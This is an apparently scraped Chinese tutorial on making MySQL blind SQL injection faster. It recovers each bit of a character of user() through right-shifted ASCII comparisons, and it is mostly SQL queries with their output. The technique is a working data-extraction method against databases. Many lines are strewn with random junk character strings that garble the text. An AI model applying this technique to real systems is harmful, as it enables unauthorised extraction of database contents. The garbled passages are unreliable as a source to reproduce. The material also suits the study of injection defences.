关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
' S7 i7 B& o. r* O9 M* Q# `


下面将以查询mysql数据库当中user()的第一位为例:
" S9 \, O0 U6 A1 h0 Q; d


3 `- Z6 l6 k1 @7 D' zps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
$ N" Z) ~% n# S) y4 o0 p2 C


6 p' N- S; X' Z( e0 |+ F" l首先执行如下sql语句:

8 k8 N( ]  d: }$ t

. Z! B  J9 x  L% rmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
* \) F3 I5 ?( d. |- J# a9 ?# D% P
/ H% J" a+ O9 c3 O9 I) ]

我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
$ c# m7 z& q# V2 l2 X
- q' U7 k9 v. F# m5 O7 z

第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



2 t! m3 F, U. {" Z如果运算结果为1,说明第一位为0,不为1
: b2 P* P) @) X1 [7 ]' \

& Z, g# l- o2 f0 k5 t- @$ W
8 |* u& {& C) d& ~" p+————————————–+
4 h8 ^6 m: J% s& O& J
1 w( G5 Z1 B, Y* @| (ascii((substr(user(),1,1))) >> 7)=0 |

: `+ Q" q- p0 `( O0 s- S/ C4 M+————————————–+

| 1 |

1 G0 P6 U- K# a/ j( Y, G  s& o+————————————–+
) N+ d" m* x) Y/ B+ }$ t9 C/ l
# j( l' x. D% N, x8 _1 row in set (0.00 sec)

3 f# X" `) w' w8 y9 ^) S这样我们就确定这个8bit的ascii的第一位为0

( ~) V% u6 o! m$ m& r. g, W
9 \/ k) |2 W) W2 N$ [
第二次我们来做6次右偏移来确定前两位
# A+ k! y: ?  Q+ o* W
, I- X9 [' G, i% E' I( C
5 n& y9 r/ R, U( O
: [, ^* c6 @9 ]! p5 v- J! e前两位可能是01或00,即依然可以与0做比较,
' U- _1 r/ v' D5 g
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
0 ]/ c' d3 B2 n
6 G  L, e, V4 ?9 W! Y+————————————–+
% V  K2 P+ a# e: I, n
| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

| 0 |
* W2 t8 b! N, q1 U, C
- Z( v* _/ ^0 ~+ D. l; ]. a% q+————————————–+

. m; n" {  l3 O: p0 S4 s1 row in set (0.00 sec)
2 n" |" W  T. f2 N  d0 P
, P0 p6 ^7 Y0 D$ z1 \" y
2 t- @6 X' u+ z/ f, t2 {2 H( a0 S8 z
$ S! y! Z: ?; l2 T/ y# V. M4 n" a结果为0,即第二位为1
6 H2 p! s' M' k; B1 B6 s


开始猜测前三位为010或011



让我们看看010和011的ascii码是多少
% ], G& e0 M0 W6 v$ j6 M


分别查询select b’011′ select b’010′

5 L+ |% a9 ?$ T: K9 w

$ U( ~2 G. v' h8 v( p获得结果 010 = 2 011 = 3


  }. W" y  j- }+ [4 |. @
. D, a1 g0 j+ a# g2 L1 Y3 Q执行如下sql:

, }9 z5 e0 f  S. Y& [( s% l: l5 f

# v2 q' a- G" U. L6 A' cmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
- m# D; {7 Y5 T; w
+————————————–+
; S, m9 ]4 F. V7 L  i1 T
| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
3 r3 o8 Z& \$ I6 |
| 0 |
; T0 |$ A7 p! q: t4 `
) K8 K, F7 R+ n0 B8 h7 \+————————————–+

即前三位不为010,而是011


% _/ r# W- w8 \, |  c8 G4 g
直到获得最后一位



5 O  H2 \6 R& m5 y% t最终结果为:01110010


$ ?3 [8 N5 a  V$ m* X- ~4 p
' `" r) \+ L5 C+ g' x! G转换一下:



select b’01110010′


2 v$ T9 I/ y/ r( z
- j! F1 Y4 h3 r) I! L查询结果
/ U# L: G4 Y* s! n) Z

4 h% H" W: [0 C& w0 [: e, L3 P  ]
+————-+

; k5 }# a& H9 \& K| b’01110010′ |

/ k. I" U7 K' z, l+ S# ^- O! z+————-+

% V; r; A( C* E+ z9 ?| r |
" e  k* P9 w' S
+————-+

1 row in set (0.00 sec)
7 o( k$ d% r) s# J7 {0 e! [& \! G

' W; T, m1 g% a/ T* P
这样我们就获得了user()的第一位.其它位依此类推
' ^) ]; B: f' c( ?9 L